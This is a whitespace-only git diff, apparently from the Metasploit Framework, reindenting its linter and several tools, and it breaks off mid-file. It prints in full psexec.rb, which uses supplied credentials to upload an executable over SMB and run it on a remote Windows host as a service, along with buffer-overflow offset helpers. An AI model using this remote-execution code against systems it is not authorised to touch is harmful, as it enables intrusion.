'Mar', 'Apr', 'May', 'Jun', - 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec' - ] + # Check disclosure date format + if @source =~ /'DisclosureDate'.*\=\>[\x0d\x20]*['\"](.+)['\"]/ + d = $1 #Captured date + # Flag if overall format is wrong + if d =~ /^... \d{1,2}\,* \d{4}/ + # Flag if month format is wrong + m = d.split[0] + months = [ + 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', + 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec' + ] - error('Incorrect disclosure month format') if months.index(m).nil? - else - error('Incorrect disclosure date format') - end - else - error('Exploit is missing a disclosure date') - end - end + error('Incorrect disclosure month format') if months.index(m).nil? + else + error('Incorrect disclosure date format') + end + else + error('Exploit is missing a disclosure date') + end + end - def check_title_casing - if @source =~ /'Name'[[:space:]]*=>[[:space:]]*['"](.+)['"],*$/ - words = $1.split - words.each do |word| - if %w{and or the for to in of as with a an on at via}.include?(word) - next - elsif %w{pbot}.include?(word) - elsif word =~ /^[a-z]+$/ - warn("Suspect capitalization in module title: '#{word}'") - end - end - end - end + def check_title_casing + if @source =~ /'Name'[[:space:]]*=>[[:space:]]*['"](.+)['"],*$/ + words = $1.split + words.each do |word| + if %w{and or the for to in of as with a an on at via}.include?(word) + next + elsif %w{pbot}.include?(word) + elsif word =~ /^[a-z]+$/ + warn("Suspect capitalization in module title: '#{word}'") + end + end + end + end - def check_bad_terms - # "Stack overflow" vs "Stack buffer overflow" - See explanation: - # http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx - if @source =~ /class Metasploit\d < Msf::Exploit::Remote/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i - warn('Contains "stack overflow" You mean "stack buffer overflow"?') - elsif @source =~ /class Metasploit\d < Msf::Auxiliary/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i - warn('Contains "stack overflow" You mean "stack exhaustion"?') - end - end + def check_bad_terms + # "Stack overflow" vs "Stack buffer overflow" - See explanation: + # http://blogs.technet.com/b/srd/archive/2009/01/28/stack-overflow-stack-exhaustion-not-the-same-as-stack-buffer-overflow.aspx + if @source =~ /class Metasploit\d < Msf::Exploit::Remote/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i + warn('Contains "stack overflow" You mean "stack buffer overflow"?') + elsif @source =~ /class Metasploit\d < Msf::Auxiliary/ and @source.gsub("\n", "") =~ /stack[[:space:]]+overflow/i + warn('Contains "stack overflow" You mean "stack exhaustion"?') + end + end - def check_function_basics - functions = @source.scan(/def (\w+)\(*(.+)\)*/) + def check_function_basics + functions = @source.scan(/def (\w+)\(*(.+)\)*/) - functions.each do |func_name, args| - # Check argument length - args_length = args.split(",").length - warn("Poorly designed argument list in '#{func_name}()'. Try a hash.") if args_length > 6 - end - end + functions.each do |func_name, args| + # Check argument length + args_length = args.split(",").length + warn("Poorly designed argument list in '#{func_name}()'. Try a hash.") if args_length > 6 + end + end - def check_lines - url_ok = true - no_stdio = true - in_comment = false - in_literal = false - src_ended = false - idx = 0 + def check_lines + url_ok = true + no_stdio = true + in_comment = false + in_literal = false + src_ended = false + idx = 0 - @source.each_line { |ln| - idx += 1 + @source.each_line { |ln| + idx += 1 - # block comment awareness - if ln =~ /^=end$/ - in_comment = false - next - end - in_comment = true if ln =~ /^=begin$/ - next if in_comment + # block comment awareness + if ln =~ /^=end$/ + in_comment = false + next + end + in_comment = true if ln =~ /^=begin$/ + next if in_comment - # block string awareness (ignore indentation in these) - in_literal = false if ln =~ /^EOS$/ - next if in_literal - in_literal = true if ln =~ /\<\<-EOS$/ + # block string awareness (ignore indentation in these) + in_literal = false if ln =~ /^EOS$/ + next if in_literal + in_literal = true if ln =~ /\<\<-EOS$/ - # ignore stuff after an __END__ line - src_ended = true if ln =~ /^__END__$/ - next if src_ended + # ignore stuff after an __END__ line + src_ended = true if ln =~ /^__END__$/ + next if src_ended - if ln =~ /[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]/ - error("Unicode detected: #{ln.inspect}", idx) - end + if ln =~ /[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]/ + error("Unicode detected: #{ln.inspect}", idx) + end - if (ln.length > LONG_LINE_LENGTH) - warn("Line exceeding #{LONG_LINE_LENGTH.to_s} bytes", idx) - end + if (ln.length > LONG_LINE_LENGTH) + warn("Line exceeding #{LONG_LINE_LENGTH.to_s} bytes", idx) + end - if ln =~ /[ \t]$/ - warn("Spaces at EOL", idx) - end + if ln =~ /[ \t]$/ + warn("Spaces at EOL", idx) + end - # Allow tabs or spaces as indent characters, but not both. - # This should check for spaces only on October 8, 2013 - if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.match(/\x20\x09|\x09\x20/)) - warn("Space-Tab mixed indent: #{ln.inspect}", idx) - end + # Allow tabs or spaces as indent characters, but not both. + # This should check for spaces only on October 8, 2013 + if (ln.length > 1) and (ln =~ /^([\t ]*)/) and ($1.match(/\x20\x09|\x09\x20/)) + warn("Space-Tab mixed indent: #{ln.inspect}", idx) + end - if ln =~ /\r$/ - warn("Carriage return EOL", idx) - end + if ln =~ /\r$/ + warn("Carriage return EOL", idx) + end - url_ok = false if ln =~ /\.com\/projects\/Framework/ - if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/ - if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/ - warn("File.open without binary mode", idx) - end - end + url_ok = false if ln =~ /\.com\/projects\/Framework/ + if ln =~ /File\.open/ and ln =~ /[\"\'][arw]/ + if not ln =~ /[\"\'][wra]\+?b\+?[\"\']/ + warn("File.open without binary mode", idx) + end + end - if ln =~/^[ \t]*load[ \t]+[\x22\x27]/ - error("Loading (not requiring) a file: #{ln.inspect}", idx) - end + if ln =~/^[ \t]*load[ \t]+[\x22\x27]/ + error("Loading (not requiring) a file: #{ln.inspect}", idx) + end - # The rest of these only count if it's not a comment line - next if ln =~ /[[:space:]]*#/ + # The rest of these only count if it's not a comment line + next if ln =~ /[[:space:]]*#/ - if ln =~ /\$std(?:out|err)/i or ln =~ /[[:space:]]puts/ - no_stdio = false - error("Writes to stdout", idx) - end + if ln =~ /\$std(?:out|err)/i or ln =~ /[[:space:]]puts/ + no_stdio = false + error("Writes to stdout", idx) + end - # do not change datastore in code - if ln =~ /(?<!\.)datastore\[["'][^"']+["']\]\s*=(?![=~>])/ - error("datastore is modified in code: #{ln.inspect}", idx) - end - } - end + # do not change datastore in code + if ln =~ /(?<!\.)datastore\[["'][^"']+["']\]\s*=(?![=~>])/ + error("datastore is modified in code: #{ln.inspect}", idx) + end + } + end - private + private - def load_file(file) - f = open(file, 'rb') - buf = f.read(f.stat.size) - f.close - return buf - end + def load_file(file) + f = open(file, 'rb') + buf = f.read(f.stat.size) + f.close + return buf + end end def run_checks(f_rel) - tidy = Msftidy.new(f_rel) - tidy.check_ref_identifiers - tidy.check_old_keywords - tidy.check_verbose_option - tidy.check_badchars - tidy.check_extname - tidy.test_old_rubies(f_rel) - tidy.check_ranking - tidy.check_disclosure_date - tidy.check_title_casing - tidy.check_bad_terms - tidy.check_function_basics - tidy.check_lines + tidy = Msftidy.new(f_rel) + tidy.check_ref_identifiers + tidy.check_old_keywords + tidy.check_verbose_option + tidy.check_badchars + tidy.check_extname + tidy.test_old_rubies(f_rel) + tidy.check_ranking + tidy.check_disclosure_date + tidy.check_title_casing + tidy.check_bad_terms + tidy.check_function_basics + tidy.check_lines tidy.check_snake_case_filename end @@ -433,37 +433,37 @@ end dirs = ARGV if dirs.length < 1 - $stderr.puts "Usage: #{File.basename(__FILE__)} <directory or file>" - exit(1) + $stderr.puts "Usage: #{File.basename(__FILE__)} <directory or file>" + exit(1) end dirs.each { |dir| - f = nil - old_dir = nil + f = nil + old_dir = nil - if dir - if File.file?(dir) - # whoa, a single file! - f = File.basename(dir) - dir = File.dirname(dir) - end + if dir + if File.file?(dir) + # whoa, a single file! + f = File.basename(dir) + dir = File.dirname(dir) + end - old_dir = Dir.getwd - Dir.chdir(dir) - dparts = dir.split('/') - else - dparts = [] - end + old_dir = Dir.getwd + Dir.chdir(dir) + dparts = dir.split('/') + else + dparts = [] + end - # Only one file? - if f - run_checks(f) - else - # Do a recursive check of the specified directory - Dir.glob('**/*.rb') { |f| - run_checks(f) - } - end + # Only one file? + if f + run_checks(f) + else + # Do a recursive check of the specified directory + Dir.glob('**/*.rb') { |f| + run_checks(f) + } + end - Dir.chdir(old_dir) + Dir.chdir(old_dir) } diff --git a/tools/nasm_shell.rb b/tools/nasm_shell.rb index 24a4f57db5..850bda1154 100755 --- a/tools/nasm_shell.rb +++ b/tools/nasm_shell.rb @@ -11,7 +11,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -25,10 +25,10 @@ require 'rex/ui' # Check to make sure nasm is installed and reachable through the user's PATH. begin - Rex::Assembly::Nasm.check + Rex::Assembly::Nasm.check rescue RuntimeError - puts "#{$!}" - exit + puts "#{$!}" + exit end bits = ARGV.length > 0 ? ARGV[0].to_i : 32 @@ -43,15 +43,15 @@ shell = Rex::Ui::Text::PseudoShell.new("%bldnasm%clr") shell.init_ui(Rex::Ui::Text::Input::Stdio.new, Rex::Ui::Text::Output::Stdio.new) shell.run { |line| - line.gsub!(/(\r|\n)/, '') - line.gsub!(/\\n/, "\n") + line.gsub!(/(\r|\n)/, '') + line.gsub!(/\\n/, "\n") - break if (line =~ /^(exit|quit)/i) + break if (line =~ /^(exit|quit)/i) - begin - puts(Rex::Assembly::Nasm.disassemble( - Rex::Assembly::Nasm.assemble(line, bits), bits)) - rescue RuntimeError - puts "Error: #{$!}" - end + begin + puts(Rex::Assembly::Nasm.disassemble( + Rex::Assembly::Nasm.assemble(line, bits), bits)) + rescue RuntimeError + puts "Error: #{$!}" + end } diff --git a/tools/pattern_create.rb b/tools/pattern_create.rb index 4974845bb5..b177bd2219 100755 --- a/tools/pattern_create.rb +++ b/tools/pattern_create.rb @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -18,8 +18,8 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'rex' if (!(length = ARGV.shift)) - $stderr.puts("Usage: #{File.basename($0)} length [set a] [set b] [set c]\n") - exit + $stderr.puts("Usage: #{File.basename($0)} length [set a] [set b] [set c]\n") + exit end # If the user supplied custom sets, use those. Otherwise, use the default diff --git a/tools/pattern_offset.rb b/tools/pattern_offset.rb index f33e3a6306..6cd69bf79f 100755 --- a/tools/pattern_offset.rb +++ b/tools/pattern_offset.rb @@ -4,7 +4,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -16,10 +16,10 @@ $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] require 'rex' if ARGV.length < 1 - $stderr.puts("Usage: #{File.basename($0)} <search item> <length of buffer>") - $stderr.puts("Default length of buffer if none is inserted: 8192") - $stderr.puts("This buffer is generated by pattern_create() in the Rex library automatically") - exit + $stderr.puts("Usage: #{File.basename($0)} <search item> <length of buffer>") + $stderr.puts("Default length of buffer if none is inserted: 8192") + $stderr.puts("This buffer is generated by pattern_create() in the Rex library automatically") + exit end value = ARGV.shift @@ -63,13 +63,13 @@ $ ./tools/pattern_offset.rb 0xFFFF4138 # The normal format is a full hexadecimal value: 0x41424344 if (value.length >= 8 and value.hex > 0) - value = value.hex + value = value.hex # However, you can also specify a four-byte string elsif (value.length == 4) - value = value.unpack("V").first + value = value.unpack("V").first else # Or even a hex value that isn't 8 bytes long - value = value.to_i(16) + value = value.to_i(16) end buffer = Rex::Text.pattern_create(len.to_i) @@ -77,48 +77,48 @@ offset = Rex::Text.pattern_offset(buffer, value) # Handle cases where there is no match by looking for "close" matches unless offset - found = false - $stderr.puts "[*] No exact matches, looking for likely candidates..." + found = false + $stderr.puts "[*] No exact matches, looking for likely candidates..." - # Look for shifts by a single byte - 0.upto(3) do |idx| - 0.upto(255) do |c| - nvb = [value].pack("V") - nvb[idx, 1] = [c].pack("C") - nvi = nvb.unpack("V").first + # Look for shifts by a single byte + 0.upto(3) do |idx| + 0.upto(255) do |c| + nvb = [value].pack("V") + nvb[idx, 1] = [c].pack("C") + nvi = nvb.unpack("V").first - off = Rex::Text.pattern_offset(buffer, nvi) - if off - mle = value - buffer[off,4].unpack("V").first - mbe = value - buffer[off,4].unpack("N").first - puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] ) byte offset #{idx}" - found = true - end - end - end + off = Rex::Text.pattern_offset(buffer, nvi) + if off + mle = value - buffer[off,4].unpack("V").first + mbe = value - buffer[off,4].unpack("N").first + puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] ) byte offset #{idx}" + found = true + end + end + end - exit if found + exit if found - # Look for 16-bit offsets - [0, 2].each do |idx| - 0.upto(65535) do |c| - nvb = [value].pack("V") - nvb[idx, 2] = [c].pack("v") - nvi = nvb.unpack("V").first + # Look for 16-bit offsets + [0, 2].each do |idx| + 0.upto(65535) do |c| + nvb = [value].pack("V") + nvb[idx, 2] = [c].pack("v") + nvi = nvb.unpack("V").first - off = Rex::Text.pattern_offset(buffer, nvi) - if off - mle = value - buffer[off,4].unpack("V").first - mbe = value - buffer[off,4].unpack("N").first - puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] )" - found = true - end - end - end + off = Rex::Text.pattern_offset(buffer, nvi) + if off + mle = value - buffer[off,4].unpack("V").first + mbe = value - buffer[off,4].unpack("N").first + puts "[+] Possible match at offset #{off} (adjusted [ little-endian: #{mle} | big-endian: #{mbe} ] )" + found = true + end + end + end end while offset - puts "[*] Exact match at offset #{offset}" - offset = Rex::Text.pattern_offset(buffer, value, offset + 1) + puts "[*] Exact match at offset #{offset}" + offset = Rex::Text.pattern_offset(buffer, value, offset + 1) end diff --git a/tools/payload_lengths.rb b/tools/payload_lengths.rb index f0ba8653ee..06ac4d24f8 100755 --- a/tools/payload_lengths.rb +++ b/tools/payload_lengths.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -26,8 +26,8 @@ Indent = ' ' # Initialize the simplified framework instance. $framework = Msf::Simple::Framework.create( - :module_types => [ Msf::MODULE_PAYLOAD ], - 'DisableDatabase' => true + :module_types => [ Msf::MODULE_PAYLOAD ], + 'DisableDatabase' => true ) # Process special var/val pairs... @@ -36,47 +36,47 @@ Msf::Ui::Common.process_cli_arguments($framework, ARGV) options = ARGV.join(',') tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Payload Lengths', - 'Indent' => Indent.length, - 'Columns' => [ 'Payload', 'Length' ] + 'Header' => 'Payload Lengths', + 'Indent' => Indent.length, + 'Columns' => [ 'Payload', 'Length' ] ) enc = nil $framework.payloads.each_module { |payload_name, mod| - len = 'Error: Unknown error!' + len = 'Error: Unknown error!' - begin - # Create the payload instance - payload = mod.new - raise "Invalid payload" if not payload + begin + # Create the payload instance + payload = mod.new + raise "Invalid payload" if not payload - # Set the variables from the cmd line - payload.datastore.import_options_from_s(options) + # Set the variables from the cmd line + payload.datastore.import_options_from_s(options) - # Skip non-specified architectures - if (ds_arch = payload.datastore['ARCH']) - next if not payload.arch?(ds_arch) - end + # Skip non-specified architectures + if (ds_arch = payload.datastore['ARCH']) + next if not payload.arch?(ds_arch) + end - # Skip non-specified platforms - if (ds_plat = payload.datastore['PLATFORM']) - ds_plat = Msf::Module::PlatformList.transform(ds_plat) - next if not payload.platform.supports?(ds_plat) - end + # Skip non-specified platforms + if (ds_plat = payload.datastore['PLATFORM']) + ds_plat = Msf::Module::PlatformList.transform(ds_plat) + next if not payload.platform.supports?(ds_plat) + end - len = payload.size - if len > 0 - len = len.to_s - else - len = "Error: Empty payload" - end - rescue - len = "Error: #{$!}" - end + len = payload.size + if len > 0 + len = len.to_s + else + len = "Error: Empty payload" + end + rescue + len = "Error: #{$!}" + end - tbl << [ payload_name, len ] + tbl << [ payload_name, len ] } puts tbl.to_s diff --git a/tools/pdf2xdp.rb b/tools/pdf2xdp.rb index 514ad98d19..4428c17c6b 100755 --- a/tools/pdf2xdp.rb +++ b/tools/pdf2xdp.rb @@ -13,22 +13,22 @@ pdf = ARGV.shift xdp = ARGV.shift if ! xdp then - STDERR.puts " Usage: #{$0} input.pdf output.xdp" - exit 1 + STDERR.puts " Usage: #{$0} input.pdf output.xdp" + exit 1 end pdf_content = begin - File.read(pdf) + File.read(pdf) rescue - STDERR.puts "Could not read input PDF file: #{$!}" - exit 2 + STDERR.puts "Could not read input PDF file: #{$!}" + exit 2 end xdp_out = begin - open xdp, 'w' + open xdp, 'w' rescue - STDERR.puts "Could not open output XDP file: #{$!}" - exit 3 + STDERR.puts "Could not open output XDP file: #{$!}" + exit 3 end xdp_out.print '<?xml version="1.0"?><?xfa ?><xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/"><pdf xmlns="http://ns.adobe.com/xdp/pdf/"><document><chunk>' diff --git a/tools/psexec.rb b/tools/psexec.rb index b5e1bec8be..1e6d152d91 100755 --- a/tools/psexec.rb +++ b/tools/psexec.rb @@ -6,7 +6,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -39,51 +39,51 @@ NDR = Rex::Encoder::NDR def print_error(msg) - $stderr.puts "[-] #{msg}" + $stderr.puts "[-] #{msg}" end def print_status(msg) - $stderr.puts "[+] #{msg}" + $stderr.puts "[+] #{msg}" end def print_lines(msg) - $stderr.puts "[+] #{msg}" + $stderr.puts "[+] #{msg}" end def usage - $stderr.puts "#{$0} [host] [exe] [user] [pass]" - exit(0) + $stderr.puts "#{$0} [host] [exe] [user] [pass]" + exit(0) end def dcerpc_handle(uuid, version, protocol, opts, rhost) - Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts) + Rex::Proto::DCERPC::Handle.new([uuid, version], protocol, rhost, opts) end def dcerpc_bind(handle, csocket, csimple, cuser, cpass) - opts = { } - opts['connect_timeout'] = 10 - opts['read_timeout'] = 10 - opts['smb_user'] = cuser - opts['smb_pass'] = cpass - opts['frag_size'] = 512 - opts['smb_client'] = csimple - - Rex::Proto::DCERPC::Client.new(handle, csocket, opts) - end + opts = { } + opts['connect_timeout'] = 10 + opts['read_timeout'] = 10 + opts['smb_user'] = cuser + opts['smb_pass'] = cpass + opts['frag_size'] = 512 + opts['smb_client'] = csimple + + Rex::Proto::DCERPC::Client.new(handle, csocket, opts) + end def dcerpc_call(function, stub = '', timeout=nil, do_recv=true) - otimeout = dcerpc.options['read_timeout'] + otimeout = dcerpc.options['read_timeout'] - begin - dcerpc.options['read_timeout'] = timeout if timeout - dcerpc.call(function, stub, do_recv) - rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse - print_status("The DCERPC service did not reply to our request") - return - ensure - dcerpc.options['read_timeout'] = otimeout - end + begin + dcerpc.options['read_timeout'] = timeout if timeout + dcerpc.call(function, stub, do_recv) + rescue ::Rex::Proto::SMB::Exceptions::NoReply, Rex::Proto::DCERPC::Exceptions::NoResponse + print_status("The DCERPC service did not reply to our request") + return + ensure + dcerpc.options['read_timeout'] = otimeout + end end @@ -104,35 +104,35 @@ socket = Rex::Socket.create_tcp({ 'PeerHost' => opt_host, 'PeerPort' => opt_port simple = Rex::Proto::SMB::SimpleClient.new(socket, opt_port.to_i == 445) simple.login( - Rex::Text.rand_text_alpha(8), - opt_user, - opt_pass, - opt_domain - #datastore['SMB::VerifySignature'], - #datastore['NTLM::UseNTLMv2'], - #datastore['NTLM::UseNTLM2_session'], - #datastore['NTLM::SendLM'], - #datastore['NTLM::UseLMKey'], - #datastore['NTLM::SendNTLM'], - #datastore['SMB::Native_OS'], - #datastore['SMB::Native_LM'], - #{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} + Rex::Text.rand_text_alpha(8), + opt_user, + opt_pass, + opt_domain + #datastore['SMB::VerifySignature'], + #datastore['NTLM::UseNTLMv2'], + #datastore['NTLM::UseNTLM2_session'], + #datastore['NTLM::SendLM'], + #datastore['NTLM::UseLMKey'], + #datastore['NTLM::SendNTLM'], + #datastore['SMB::Native_OS'], + #datastore['SMB::Native_LM'], + #{:use_spn => datastore['NTLM::SendSPN'], :name => self.rhost} ) simple.connect("\\\\#{opt_host}\\IPC$") if (not simple.client.auth_user) - print_line(" ") - print_error( - "FAILED! The remote host has only provided us with Guest privileges. " + - "Please make sure that the correct username and password have been provided. " + - "Windows XP systems that are not part of a domain will only provide Guest privileges " + - "to network logins by default." - ) - print_line(" ") - exit(1) + print_line(" ") + print_error( + "FAILED! The remote host has only provided us with Guest privileges. " + + "Please make sure that the correct username and password have been provided. " + + "Windows XP systems that are not part of a domain will only provide Guest privileges " + + "to network logins by default." + ) + print_line(" ") + exit(1) end - + fname = Rex::Text.rand_text_alpha(8) + ".exe" sname = Rex::Text.rand_text_alpha(8) @@ -146,7 +146,7 @@ simple.connect(opt_share) fd = simple.open("\\#{fname}", 'rwct', 500) File.open(opt_path, "rb") do |efd| - fd << efd.read + fd << efd.read end fd.close @@ -172,17 +172,17 @@ print_status("Bound to #{handle} ...") print_status("Obtaining a service manager handle...") scm_handle = nil stubdata = - NDR.uwstring("\\\\#{opt_host}") + - NDR.long(0) + - NDR.long(0xF003F) + NDR.uwstring("\\\\#{opt_host}") + + NDR.long(0) + + NDR.long(0xF003F) begin - response = dcerpc.call(0x0f, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - scm_handle = dcerpc.last_response.stub_data[0,20] - end + response = dcerpc.call(0x0f, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + scm_handle = dcerpc.last_response.stub_data[0,20] + end rescue ::Exception => e - print_error("Error: #{e}") - return + print_error("Error: #{e}") + return end @@ -198,31 +198,31 @@ svc_status = nil print_status("Creating a new service (#{sname} - \"#{displayname}\")...") stubdata = - scm_handle + - NDR.wstring(sname) + - NDR.uwstring(displayname) + + scm_handle + + NDR.wstring(sname) + + NDR.uwstring(displayname) + - NDR.long(0x0F01FF) + # Access: MAX - NDR.long(0x00000110) + # Type: Interactive, Own process - NDR.long(0x00000003) + # Start: Demand - NDR.long(0x00000000) + # Errors: Ignore - NDR.wstring( file_location ) + # Binary Path - NDR.long(0) + # LoadOrderGroup - NDR.long(0) + # Dependencies - NDR.long(0) + # Service Start - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) + # Password - NDR.long(0) # Password + NDR.long(0x0F01FF) + # Access: MAX + NDR.long(0x00000110) + # Type: Interactive, Own process + NDR.long(0x00000003) + # Start: Demand + NDR.long(0x00000000) + # Errors: Ignore + NDR.wstring( file_location ) + # Binary Path + NDR.long(0) + # LoadOrderGroup + NDR.long(0) + # Dependencies + NDR.long(0) + # Service Start + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) + # Password + NDR.long(0) # Password begin - response = dcerpc.call(0x0c, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - svc_status = dcerpc.last_response.stub_data[24,4] - end + response = dcerpc.call(0x0c, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + svc_status = dcerpc.last_response.stub_data[24,4] + end rescue ::Exception => e - print_error("Error: #{e}") - exit(1) + print_error("Error: #{e}") + exit(1) end ## @@ -230,7 +230,7 @@ end ## print_status("Closing service handle...") begin - response = dcerpc.call(0x0, svc_handle) + response = dcerpc.call(0x0, svc_handle) rescue ::Exception end @@ -239,18 +239,18 @@ end ## print_status("Opening service...") begin - stubdata = - scm_handle + - NDR.wstring(sname) + - NDR.long(0xF01FF) + stubdata = + scm_handle + + NDR.wstring(sname) + + NDR.long(0xF01FF) - response = dcerpc.call(0x10, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - svc_handle = dcerpc.last_response.stub_data[0,20] - end + response = dcerpc.call(0x10, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + svc_handle = dcerpc.last_response.stub_data[0,20] + end rescue ::Exception => e - print_error("Error: #{e}") - exit(1) + print_error("Error: #{e}") + exit(1) end ## @@ -258,14 +258,14 @@ end ## print_status("Starting the service...") stubdata = - svc_handle + - NDR.long(0) + - NDR.long(0) + svc_handle + + NDR.long(0) + + NDR.long(0) begin - response = dcerpc.call(0x13, stubdata) + response = dcerpc.call(0x13, stubdata) rescue ::Exception => e - print_error("Error: #{e}") - exit(1) + print_error("Error: #{e}") + exit(1) end # @@ -274,11 +274,11 @@ end print_status("Removing the service...") stubdata = svc_handle begin - response = dcerpc.call(0x02, stubdata) - if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) - end + response = dcerpc.call(0x02, stubdata) + if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil) + end rescue ::Exception => e - print_error("Error: #{e}") + print_error("Error: #{e}") end ## @@ -286,19 +286,19 @@ end ## print_status("Closing service handle...") begin - response = dcerpc.call(0x0, svc_handle) + response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e - print_error("Error: #{e}") + print_error("Error: #{e}") end begin - print_status("Deleting \\#{fname}...") - select(nil, nil, nil, 1.0) - simple.connect(smbshare) - simple.delete("\\#{fname}") + print_status("Deleting \\#{fname}...") + select(nil, nil, nil, 1.0) + simple.connect(smbshare) + simple.delete("\\#{fname}") rescue ::Interrupt - raise $! + raise $! rescue ::Exception - #raise $! + #raise $! end diff --git a/tools/reg.rb b/tools/reg.rb index ae53f0fc54..63880edd5d 100755 --- a/tools/reg.rb +++ b/tools/reg.rb @@ -9,7 +9,7 @@ msfbase = __FILE__ while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) + msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib'))) @@ -23,96 +23,96 @@ require 'msf/ui' require 'rex/registry/hive' def print_all(nodekey) - print_all_keys(nodekey) - print_all_values(nodekey) + print_all_keys(nodekey) + print_all_values(nodekey) end def print_all_keys(nodekey) - return if !nodekey - return if !nodekey.lf_record - return if !nodekey.lf_record.children - return if nodekey.lf_record.children.length == 0 + return if !nodekey + return if !nodekey.lf_record + return if !nodekey.lf_record.children + return if nodekey.lf_record.children.length == 0 table = Rex::Ui::Text::Table.new( - 'Header' => "Child Keys for #{nodekey.full_path}", - 'Indent' => ' '.length, - 'Columns' => [ 'Name', 'Last Edited', 'Subkey Count', 'Value Count' ] - ) + 'Header' => "Child Keys for #{nodekey.full_path}", + 'Indent' => ' '.length, + 'Columns' => [ 'Name', 'Last Edited', 'Subkey Count', 'Value Count' ] + ) - if nodekey.lf_record && nodekey.lf_record.children && nodekey.lf_record.children.length > 0 - nodekey.lf_record.children.each do |key| - table << [key.name, key.readable_timestamp, key.subkeys_count, key.value_count] - end - end + if nodekey.lf_record && nodekey.lf_record.children && nodekey.lf_record.children.length > 0 + nodekey.lf_record.children.each do |key| + table << [key.name, key.readable_timestamp, key.subkeys_count, key.value_count] + end + end - puts table.to_s - end + puts table.to_s + end - def print_all_values(nodekey) + def print_all_values(nodekey) - return if !nodekey - return if !nodekey.lf_record - return if !nodekey.lf_record.children - return if nodekey.lf_record.children.length == 0 + return if !nodekey + return if !nodekey.lf_record + return if !nodekey.lf_record.children + return if nodekey.lf_record.children.length == 0 - table = Rex::Ui::Text::Table.new( - 'Header' => "Values in key #{nodekey.full_path}", - 'Indent' => ' '.length, - 'Columns' => ['Name','Value Type', 'Value'] - ) - if nodekey.value_list && nodekey.value_list.values.length > 0 - nodekey.value_list.values.each do |value| - table << [value.name, value.readable_value_type, value.value.data] - end - end + table = Rex::Ui::Text::Table.new( + 'Header' => "Values in key #{nodekey.full_path}", + 'Indent' => ' '.length, + 'Columns' => ['Name','Value Type', 'Value'] + ) + if nodekey.value_list && nodekey.value_list.values.length > 0 + nodekey.value_list.values.each do |value| + table << [value.name, value.readable_value_type, value.value.data] + end + end - puts table.to_s + puts table.to_s end def get_system_information - if @hive.hive_name =~ /SYSTEM/ - mounted_devices_info_key = @hive.relative_query("\\MountedDevices") + if @hive.hive_name =~ /SYSTEM/ + mounted_devices_info_key = @hive.relative_query("\\MountedDevices") - current_control_set_key = @hive.value_query('\Select\Default') - current_control_set = "ControlSet00" + current_control_set_key.value.data.unpack('c').first.to_s if current_control_set_key + 